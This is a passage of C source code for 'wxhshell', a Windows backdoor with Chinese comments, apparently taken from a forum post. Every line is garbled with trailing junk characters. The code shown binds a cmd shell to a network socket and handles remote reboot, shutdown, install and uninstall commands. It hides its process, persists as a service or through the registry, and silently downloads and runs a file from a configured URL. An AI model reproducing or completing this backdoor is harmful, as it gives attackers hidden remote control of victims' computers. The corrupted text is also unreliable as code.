  } 'e' p`*  
  else { }IZw6KiN  
_{; _wwz  
    switch(cmd[0]) { W;cY g.W2  
  tk*-Cx?_  
  // 帮助 +t%2V?  
  case '?': { ;9WUt,R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W7b m}JHn  
    break; },#7  
  } p}h.2)PO  
  // 安装 : \qapFV  
  case 'i': { +&S6se4  
    if(Install()) x~R,rb   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pqb`g@  
    else |,5|ZpgL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @tY]=pqn_  
    break; 'fGKRd|)  
    } UOf\pG  
  // 卸载 })P!7t  
  case 'r': { )gSqO{Z  
    if(Uninstall()) !`RMXUV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Osm))Ua(  
    else Eyjsbj8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nDX Em6|e  
    break; qbeUc5`1  
    } NU?<bIQ  
  // 显示 wxhshell 所在路径 p%&$%yz$  
  case 'p': { {+7FBdxVB  
    char svExeFile[MAX_PATH]; }.&;NgZS  
    strcpy(svExeFile,"\n\r"); (AtyM?*  
      strcat(svExeFile,ExeFile); M-@X&b m,S  
        send(wsh,svExeFile,strlen(svExeFile),0); N) _24  
    break; |%F,n2  
    } ] uyp i#[  
  // 重启 (DY[OIHI  
  case 'b': { H\a"=&M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;5.&TQT  
    if(Boot(REBOOT)) xlJWCA*>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M /v@C*c  
    else { H!Q72tyo  
    closesocket(wsh); d?J&mLQ6  
    ExitThread(0); ;>jEeIlT  
    } 9$z$yGjl  
    break; Vc;[0iB  
    } Tn1V+)  
  // 关机 ?#xm6oe#aH  
  case 'd': { &e:+;7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); abT,"a\h  
    if(Boot(SHUTDOWN)) T:Nk9t$W7@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1S!}su,uH  
    else { >@Ht*h{~  
    closesocket(wsh); 4F G0'J&hw  
    ExitThread(0); o.A:29KoU  
    } SU4i'o  
    break; eBnx$  
    } tx>7?e8E  
  // 获取shell 6(d6Uwc`  
  case 's': { < A8>To<  
    CmdShell(wsh); 6V]m0{:E  
    closesocket(wsh); :,aY|2si  
    ExitThread(0); zA>X+JH>iw  
    break; !|xB>d q?  
  } t~j 6wsx;  
  // 退出 `3i>e<m~  
  case 'x': { <MkvlLu((o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Ay)kv;  
    CloseIt(wsh); HrvyI)4{  
    break; WIf.;B)L  
    } EG3,TuDH8  
  // 离开 <6Gs0\JB  
  case 'q': { >h;]rMD!|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r4X}U|s!0  
    closesocket(wsh); 4k@n5JNa  
    WSACleanup(); > d p/  
    exit(1); >bze0`}Z  
    break; 0t^FM<7G  
        } EUuSN| a  
  } <JWU@A-.y  
  } rY45.,qWs  
M=uT8JB  
  // 提示信息 gtu<#h(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4/`;(*]Fv  
} HS{Vohy>  
  } N=<`|I  
CL1*pL  
  return; |*NZ^6`@  
} 8CZfz!2  
O;<wD h)Yt  
// shell模块句柄 M['O`^  
int CmdShell(SOCKET sock) +`k30-<P  
{ 3PU_STSix  
STARTUPINFO si; s{'Sl{-Eu  
ZeroMemory(&si,sizeof(si)); `hj,rF+4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yj&GJuNb~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cZ:jht  
PROCESS_INFORMATION ProcessInfo; >jAFt_  
char cmdline[]="cmd"; +:;ddV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bp:`m>4<  
  return 0; K$h\<_V  
} y'!OA+ob  
H)D|lt5xy  
// 自身启动模式 %T]^,y$n  
int StartFromService(void) K9k!P8Rd  
{ Q*>)W{H&)  
typedef struct f_S$CFa@  
{ r9_ ON|  
  DWORD ExitStatus; CZ3oX#b  
  DWORD PebBaseAddress; >z\IO  
  DWORD AffinityMask; C(G.yd  
  DWORD BasePriority; ZgxB7zl//  
  ULONG UniqueProcessId; apk,\L@sZ  
  ULONG InheritedFromUniqueProcessId; T(*,nJi~9  
}   PROCESS_BASIC_INFORMATION; 1 6zxPSTr}  
BeVDTk :  
PROCNTQSIP NtQueryInformationProcess; <C'_:&M  
+112{v=!i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]64}Xob87_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B~Kx Up  
?/3wO/7[  
  HANDLE             hProcess; z.cDbkf}  
  PROCESS_BASIC_INFORMATION pbi; H1kI+YJ@  
B&a{,.m&q6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FFcCoPX_  
  if(NULL == hInst ) return 0; eW(pP>@k,  
5 qfvHQ ~M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); imYfRi=$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;b0Q%TDh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U~: H>  
k=mQG~  
  if (!NtQueryInformationProcess) return 0; bu _ @>`S  
}MRgNr'k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >6 o <Q  
  if(!hProcess) return 0; %`&n ;K.c  
p<r<Y %  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y 9]d{:9  
C{J5:ak  
  CloseHandle(hProcess); LBy`N_@  
'lZlfS:Z8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ES+ CAwqf  
if(hProcess==NULL) return 0; pKc!sd C  
kBR=a%kG  
HMODULE hMod; EE  1D>I  
char procName[255]; A?lL K&*  
unsigned long cbNeeded; _h-agn4[i  
3<r7"/5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,IPt4EH$  
A`3KE9ED  
  CloseHandle(hProcess); VAL? Z  
 ydzsJ+dx  
if(strstr(procName,"services")) return 1; // 以服务启动 F6q=W#~  
VxN#\D i&  
  return 0; // 注册表启动 as:l1S   
} 5?>4I"ne  
KY  
// 主模块 k _V+;&:%  
int StartWxhshell(LPSTR lpCmdLine) )4ek!G]Rb  
{ J -z.  
  SOCKET wsl; ,H7_eVLWR  
BOOL val=TRUE; plWNuEW  
  int port=0; oWY3dc  
  struct sockaddr_in door; .jQx2 O  
qB$-H' j:;  
  if(wscfg.ws_autoins) Install(); s1 >8uW  
#7 O7O~  
port=atoi(lpCmdLine); e`4mrBtz|  
cn} CI  
if(port<=0) port=wscfg.ws_port; |M7C=z='  
cj2Smgw&>  
  WSADATA data; ]eGa_Ld  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n{4iW_/D  
zq</(5H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]"T157F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fYP,V0P  
  door.sin_family = AF_INET; A5Jadz~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dr.eos4 ~  
  door.sin_port = htons(port); ; pBLmm*F  
u<:uL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \7LL neq  
closesocket(wsl); jv~#'=T'  
return 1; F `:Q  
} { }/  
jI8`trD  
  if(listen(wsl,2) == INVALID_SOCKET) { @:zC!dR)G  
closesocket(wsl); s1_Y~<y X  
return 1; $JOz7j(  
} ,5c7jZ5H  
  Wxhshell(wsl); ZvF#J_%gE5  
  WSACleanup(); .@&FJYkLYi  
Wmd@%K  
return 0; nr]=O`Mvh  
%_E5B6xi{  
} 66?`7j X  
ELwXp|L  
// 以NT服务方式启动 _K#7#qp2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k5\V:P=#  
{ U=D;Cj Ah  
DWORD   status = 0; D/=05E%[81  
  DWORD   specificError = 0xfffffff; k$%{w\?Jf  
Gk5'|s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]#M"|iTR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e2=}qE7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jF;<9-m&  
  serviceStatus.dwWin32ExitCode     = 0; jj&G[-"bv  
  serviceStatus.dwServiceSpecificExitCode = 0; z!6_u@^-  
  serviceStatus.dwCheckPoint       = 0; -"xAeI1+  
  serviceStatus.dwWaitHint       = 0; hXI[FICQU{  
85# 3|5n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -`q!mdA2  
  if (hServiceStatusHandle==0) return; LBG`DYR@  
l^R:W#*+U  
status = GetLastError(); &;ddnxFI  
  if (status!=NO_ERROR) zKP[]S-  
{ 'n7|fjX?Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BPkMw'a:  
    serviceStatus.dwCheckPoint       = 0; |5;,]lbt  
    serviceStatus.dwWaitHint       = 0; s>G6/TTH6  
    serviceStatus.dwWin32ExitCode     = status; 65zwi-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? /!Fv/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dwB#k$VIOw  
    return; "#wAGlH6>  
  } ',hoe  
)q'dX+4=eL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wrJQkven-  
  serviceStatus.dwCheckPoint       = 0; Q3ZGN1aX<  
  serviceStatus.dwWaitHint       = 0; :gRrM)n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [Uk cG9  
} nycJZ}f:wP  
\_.'/<aQ  
// 处理NT服务事件,比如:启动、停止 mL1ZSX o!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1R-0b{w[  
{ EUw4$Jt^p  
switch(fdwControl) ?:vg`m!*  
{ wOL%otEf  
case SERVICE_CONTROL_STOP: iOa<=  
  serviceStatus.dwWin32ExitCode = 0; 3SWDPy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z]g#2xD2  
  serviceStatus.dwCheckPoint   = 0; {0j,U\ kb  
  serviceStatus.dwWaitHint     = 0; X{xkXg8h  
  { ,Z|O y|+'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rIPg,4y*S!  
  } fQ~~%#z1  
  return; 5%(  
case SERVICE_CONTROL_PAUSE: w#9.U7@.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f|~'(~Sr  
  break; =X'EDw  
case SERVICE_CONTROL_CONTINUE: ;woK96"{t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Onqapm0  
  break; n\I s}Czl  
case SERVICE_CONTROL_INTERROGATE: mu0L_u(P  
  break; 0e>?!Z E  
}; L~+aD2 E {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >}.~Y#Ge  
} ShRMzU  
OtL~NTY  
// 标准应用程序主函数 =:T"naY(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P `<TO   
{ u@Gum|_=N  
yT%<  t  
// 获取操作系统版本 :6C R~p  
OsIsNt=GetOsVer(); oBai9 [+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XH0{|#hwN  
DDIRJd<J  
  // 从命令行安装 "c~``i\G   
  if(strpbrk(lpCmdLine,"iI")) Install(); zhE4:g9v  
Fc=F2Mo?  
  // 下载执行文件 n"iaE  
if(wscfg.ws_downexe) { M&zB&Ia"'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZK{1z|  
  WinExec(wscfg.ws_filenam,SW_HIDE); jY9tq[~/  
} hQ%X0X,  
oVuIHb0w  
if(!OsIsNt) { 5Mxl({oI]  
// 如果时win9x,隐藏进程并且设置为注册表启动 +:#g6(P]  
HideProc(); BB,-HhYT0  
StartWxhshell(lpCmdLine); #\F8(lZ  
} Mf"(P.GIS  
else =S^vIo)  
  if(StartFromService()) kdA]gpdw  
  // 以服务方式启动 1jSmTI d  
  StartServiceCtrlDispatcher(DispatchTable); jz'%(6#'gW  
else ]Gm&Kn >  
  // 普通方式启动 Y edF%  
  StartWxhshell(lpCmdLine); LfnQcI$kO  
/;TD n>lq  
return 0; |L;Hd.l7^*  
}
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只看该作者 1 发表于: 2006-10-10
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